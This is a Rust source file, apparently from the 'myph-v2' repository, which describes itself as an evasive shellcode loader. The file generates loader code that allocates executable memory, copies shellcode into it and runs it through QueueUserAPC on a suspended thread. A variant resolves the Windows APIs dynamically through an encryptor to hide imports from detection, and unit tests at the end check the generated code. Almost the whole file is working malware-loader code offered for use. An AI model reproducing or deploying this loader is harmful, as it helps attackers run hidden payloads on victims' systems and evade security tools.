myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
queue_user_apc.rs (8271B)
1 pub fn queue_user_apc_import() -> String { 2 r#" 3 use std::ptr; 4 "# 5 .to_string() 6 } 7 8 pub fn queue_user_apc_const() -> String { 9 format!( 10 r#" 11 {} 12 13 #[repr(C)] 14 struct SECURITY_ATTRIBUTES {{ 15 length: u32, 16 security_descriptor: *mut std::ffi::c_void, 17 inherit_handle: i32, 18 }} 19 20 #[link(name = "kernel32")] 21 extern "system" {{ 22 fn CreateThread( 23 security_attributes: *const SECURITY_ATTRIBUTES, 24 stack_size: usize, 25 start_address: *const std::ffi::c_void, 26 parameter: *const std::ffi::c_void, 27 creation_flags: u32, 28 thread_id: *mut u32, 29 ) -> *mut std::ffi::c_void; 30 31 fn QueueUserAPC( 32 apc_routine: *const std::ffi::c_void, 33 thread: *mut std::ffi::c_void, 34 data: usize, 35 ) -> u32; 36 37 fn SleepEx( 38 milliseconds: u32, 39 alertable: i32, 40 ) -> u32; 41 42 fn WaitForSingleObject( 43 handle: *mut std::ffi::c_void, 44 milliseconds: u32, 45 ) -> u32; 46 }} 47 48 #[link(name = "ntdll")] 49 extern "system" {{ 50 fn RtlCopyMemory( 51 destination: *mut std::ffi::c_void, 52 source: *const std::ffi::c_void, 53 length: usize, 54 ); 55 }} 56 57 const CREATE_SUSPENDED: u32 = 0x00000004; 58 const INFINITE: u32 = 0xFFFFFFFF; 59 "#, 60 super::common::COMMON_MEMORY_CONSTANTS 61 ) 62 } 63 64 pub fn queue_user_apc_init() -> String { 65 r#" 66 unsafe extern "system" fn dummy_thread(_param: *mut std::ffi::c_void) -> u32 { 67 SleepEx(INFINITE, 1); 68 0 69 } 70 "# 71 .to_string() 72 } 73 74 pub fn queue_user_apc_process() -> String { 75 r#" 76 unsafe { 77 let addr = VirtualAlloc( 78 ptr::null_mut(), 79 shellcode.len(), 80 MEM_COMMIT | MEM_RESERVE, 81 PAGE_EXECUTE_READWRITE, 82 ); 83 84 if addr.is_null() { 85 panic!("failed"); 86 } 87 88 RtlCopyMemory( 89 addr, 90 shellcode.as_ptr() as *const std::ffi::c_void, 91 shellcode.len(), 92 ); 93 94 let mut thread_id: u32 = 0; 95 let thread = CreateThread( 96 ptr::null(), 97 0, 98 dummy_thread as *const std::ffi::c_void, 99 ptr::null(), 100 CREATE_SUSPENDED, 101 &mut thread_id, 102 ); 103 104 if thread.is_null() { 105 panic!("failed"); 106 } 107 108 let result = QueueUserAPC(addr, thread, 0); 109 if result == 0 { 110 panic!("failed"); 111 } 112 113 let resume_result = WaitForSingleObject(thread, INFINITE); 114 if resume_result != 0 { 115 panic!("failed"); 116 } 117 } 118 "# 119 .to_string() 120 } 121 122 fn generate_queue_user_apc_template(function_name: &str) -> String { 123 super::common::TechniqueTemplateBuilder::new() 124 .with_import(queue_user_apc_import()) 125 .with_const(queue_user_apc_const()) 126 .with_init(queue_user_apc_init()) 127 .with_process(queue_user_apc_process()) 128 .build(function_name) 129 } 130 131 pub fn generate_queue_user_apc_code(function_name: &str) -> String { 132 generate_queue_user_apc_template(function_name) 133 } 134 135 fn queue_user_apc_process_with_dynamic_resolver( 136 encryptor: &dyn crate::encryption::Encryptor, 137 ) -> Result<String, String> { 138 use super::dynamic_common::*; 139 140 let virtual_alloc = virtual_alloc_resolver(encryptor)?; 141 let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?; 142 let create_thread = create_thread_resolver(encryptor)?; 143 let queue_user_apc = queue_user_apc_resolver(encryptor)?; 144 let wait_for_single_object = wait_for_single_object_resolver(encryptor)?; 145 146 Ok(format!( 147 r#" 148 unsafe {{ 149 {virtual_alloc_resolver} 150 {virtual_alloc_cast} 151 152 let addr = virtual_alloc( 153 ptr::null(), 154 shellcode.len(), 155 MEM_COMMIT | MEM_RESERVE, 156 PAGE_EXECUTE_READWRITE, 157 ); 158 159 if addr.is_null() {{ 160 panic!("failed"); 161 }} 162 163 {rtl_copy_memory_resolver} 164 {rtl_copy_memory_cast} 165 166 rtl_copy_memory( 167 addr, 168 shellcode.as_ptr() as *const std::ffi::c_void, 169 shellcode.len(), 170 ); 171 172 {create_thread_resolver} 173 {create_thread_cast} 174 175 let mut thread_id: u32 = 0; 176 let thread = create_thread( 177 ptr::null(), 178 0, 179 dummy_thread as *const std::ffi::c_void, 180 ptr::null(), 181 CREATE_SUSPENDED, 182 &mut thread_id, 183 ); 184 185 if thread.is_null() {{ 186 panic!("failed"); 187 }} 188 189 {queue_user_apc_resolver} 190 {queue_user_apc_cast} 191 192 let result = queue_user_apc(addr, thread, 0); 193 if result == 0 {{ 194 panic!("failed"); 195 }} 196 197 {wait_for_single_object_resolver} 198 {wait_for_single_object_cast} 199 200 let resume_result = wait_for_single_object(thread, INFINITE); 201 if resume_result != 0 {{ 202 panic!("failed"); 203 }} 204 }} 205 "#, 206 virtual_alloc_resolver = virtual_alloc.resolver_code, 207 virtual_alloc_cast = virtual_alloc.cast_code, 208 rtl_copy_memory_resolver = rtl_copy_memory.resolver_code, 209 rtl_copy_memory_cast = rtl_copy_memory.cast_code, 210 create_thread_resolver = create_thread.resolver_code, 211 create_thread_cast = create_thread.cast_code, 212 queue_user_apc_resolver = queue_user_apc.resolver_code, 213 queue_user_apc_cast = queue_user_apc.cast_code, 214 wait_for_single_object_resolver = wait_for_single_object.resolver_code, 215 wait_for_single_object_cast = wait_for_single_object.cast_code, 216 )) 217 } 218 219 fn generate_queue_user_apc_template_with_dynamic_resolver( 220 function_name: &str, 221 _encryption_type: &str, 222 encryptor: &dyn crate::encryption::Encryptor, 223 ) -> Result<String, String> { 224 let process_code = queue_user_apc_process_with_dynamic_resolver(encryptor)?; 225 226 Ok(super::common::TechniqueTemplateBuilder::new() 227 .with_import(queue_user_apc_import()) 228 .with_const(queue_user_apc_const()) 229 .with_init(queue_user_apc_init()) 230 .with_process(process_code) 231 .build(function_name)) 232 } 233 234 pub fn generate_queue_user_apc_code_with_dynamic_resolver( 235 function_name: &str, 236 encryption_type: &str, 237 encryptor: &dyn crate::encryption::Encryptor, 238 ) -> String { 239 generate_queue_user_apc_template_with_dynamic_resolver( 240 function_name, 241 encryption_type, 242 encryptor, 243 ) 244 .unwrap_or_else(|err| { 245 panic!( 246 "Failed to generate QueueUserAPC code with dynamic resolver (encryption: {}): {}", 247 encryption_type, err 248 ) 249 }) 250 } 251 252 pub struct QueueUserAPCGenerator; 253 254 impl super::trait_generator::TechniqueGenerator for QueueUserAPCGenerator { 255 fn generate_code(&self, _process: &str, function_name: &str) -> String { 256 generate_queue_user_apc_code(function_name) 257 } 258 259 fn generate_code_with_dynamic_resolver( 260 &self, 261 _process: &str, 262 function_name: &str, 263 encryption_type: &str, 264 encryptor: &dyn crate::encryption::Encryptor, 265 ) -> String { 266 generate_queue_user_apc_code_with_dynamic_resolver( 267 function_name, 268 encryption_type, 269 encryptor, 270 ) 271 } 272 273 fn requires_process(&self) -> bool { 274 false 275 } 276 277 fn name(&self) -> &'static str { 278 "QueueUserAPC" 279 } 280 } 281 282 #[cfg(test)] 283 mod tests { 284 use super::*; 285 286 #[test] 287 fn test_generate_queue_user_apc_template_contains_all_parts() { 288 let template = generate_queue_user_apc_template("MyFunction"); 289 assert!(template.contains("use std::ptr")); 290 assert!(template.contains("MEM_COMMIT")); 291 assert!(template.contains("fn MyFunction")); 292 assert!(template.contains("VirtualAlloc")); 293 assert!(template.contains("QueueUserAPC")); 294 assert!(template.contains("dummy_thread")); 295 } 296 297 #[test] 298 fn test_generate_queue_user_apc_code() { 299 let code = generate_queue_user_apc_code("MyRandomFunc"); 300 assert!(code.contains("fn MyRandomFunc")); 301 assert!(code.contains("QueueUserAPC")); 302 assert!(code.contains("CreateThread")); 303 } 304 305 #[test] 306 fn test_queue_user_apc_does_not_use_process_param() { 307 let code = generate_queue_user_apc_code("TestFunc"); 308 assert!(!code.contains("notepad.exe")); 309 } 310 }